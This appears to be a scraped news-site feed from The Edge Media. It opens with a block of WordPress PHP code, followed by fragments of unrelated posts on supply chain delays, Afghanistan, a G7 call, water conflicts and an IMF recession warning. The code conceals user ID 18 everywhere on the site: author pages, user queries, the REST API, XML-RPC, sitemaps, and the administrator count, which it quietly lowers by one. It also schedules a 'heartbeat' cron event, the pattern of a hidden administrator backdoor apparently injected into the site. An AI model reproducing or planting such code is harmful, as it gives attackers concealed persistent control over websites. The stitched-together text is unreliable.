add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post A Box Stuck In China For 8 Months Shows Global Supply Chain Crisis. appeared first on The Edge Media.
]]>While the fertilizer has been stranded there since May, the port is just one stop on the long journey from central China to the U.S. Midwest. Delays have stretched a delivery that ordinarily would take weeks to more than half a year. And that time frame will keep expanding, as the goods have barely started the roughly 15,000 kilometer (9,300 mile) trek.
This is the tale of one humble shipment and its arduous journey across the world. While some of the barriers keeping it from its final destination may be specific to this particular case, the journey is emblematic of the inertia that has gripped global trade during the pandemic.
The post A Box Stuck In China For 8 Months Shows Global Supply Chain Crisis. appeared first on The Edge Media.
]]>The post Our focus is on ensuring safe return of all Indians from Afghanistan: EAM Jaishankar appeared first on The Edge Media.
]]>Addressing reporters at the UN Security Council stakeout after chairing an open debate on peacekeeping under India’s current UNSC Presidency, Jaishankar said that (the situation in Afghanistan) is really what has been very much the focus of my own engagements here, talking to the United Nations Secretary-General and other colleagues who are here as well as the United States Secretary of State
At the moment we are, like everybody else, very carefully following the developments in Afghanistan. I think our focus is on ensuring the security in Afghanistan and the safe return of Indian nationals who are there,” he said in response to a question by PTI.
The post Our focus is on ensuring safe return of all Indians from Afghanistan: EAM Jaishankar appeared first on The Edge Media.
]]>The post Joe biden , Boris Johnson agree to hold a G7 meeting on the Afghan crisis appeared first on The Edge Media.
]]>The two leaders “discussed the need for continued close oordination among allies and democratic partners on Afghanistan policy going forward, including ways the global community can provide further humanitarian assistance and support for refugees and other vulnerable Afghans,” the White House said in a statement.
The decision by U.S. President Joe Biden, a Democrat, to stick to the troop withdrawal deal struck by his Republican predecessor Donald Trump has stirred widespread criticism at home and among U.S. allies.
The post Joe biden , Boris Johnson agree to hold a G7 meeting on the Afghan crisis appeared first on The Edge Media.
]]>The post Wars of the future will be fought over water,scientists opine after crisis in Africa appeared first on The Edge Media.
]]>
As climate change and population growth make water scarcer, a report from the European Commission’s Joint Research Centre estimates that there’s a 75-90 per cent chance of wars being fought over water within the next century. The report was estimated using advance machine-learning algorithms which identified five hotspots for potential conflicts where multiple countries shared the same water body.
The hotspots identified were the Ganges-Brahmaputra region, where the water flows through Bangladesh and India; the Colorado river, which runs through the United States and Mexico; the Indus region, which has water bodies separating India and Pakistan; the Tigris-Euphrates, which flows through Turkey, Syria, Iraq, Iran and Kuwait; and finally, the Nile that runs through 11 African countries.
Lack of water across these water bodies could intensify existing tensions among countries and bring about social unrest.
The River Nile has sowed mystery and myth from the time of the ancient Greeks, including Alexander the Great. The river is also a symbol of romance in many a story transcending generations. But today, she could become the cause for a world at war.
The post Wars of the future will be fought over water,scientists opine after crisis in Africa appeared first on The Edge Media.
]]>The post IMF warns of recession worse than global financial crisis of 2008 appeared first on The Edge Media.
]]>“We are now in recession, it is worse than the global financial crisis,” news agency Xinhua quoted Georgiwa’s statement at a joint press conference with the World Health Organization (WHO) on Friday.
The Managing Director of the IMF while talking about the ‘double crisis’ like health and economic said that this is unprecedented in the history of IMF due to the increasing outbreak of covid-19.

Georgieva stressed that there is a need to work together to save lives and livelihoods in the midst of fighting the covid-19 around the world. According to data from the World Health Organization, currently more than 1 million people worldwide have been infected with covid-19 infection, of which more than 50,000 people have lost their lives.
The post IMF warns of recession worse than global financial crisis of 2008 appeared first on The Edge Media.
]]>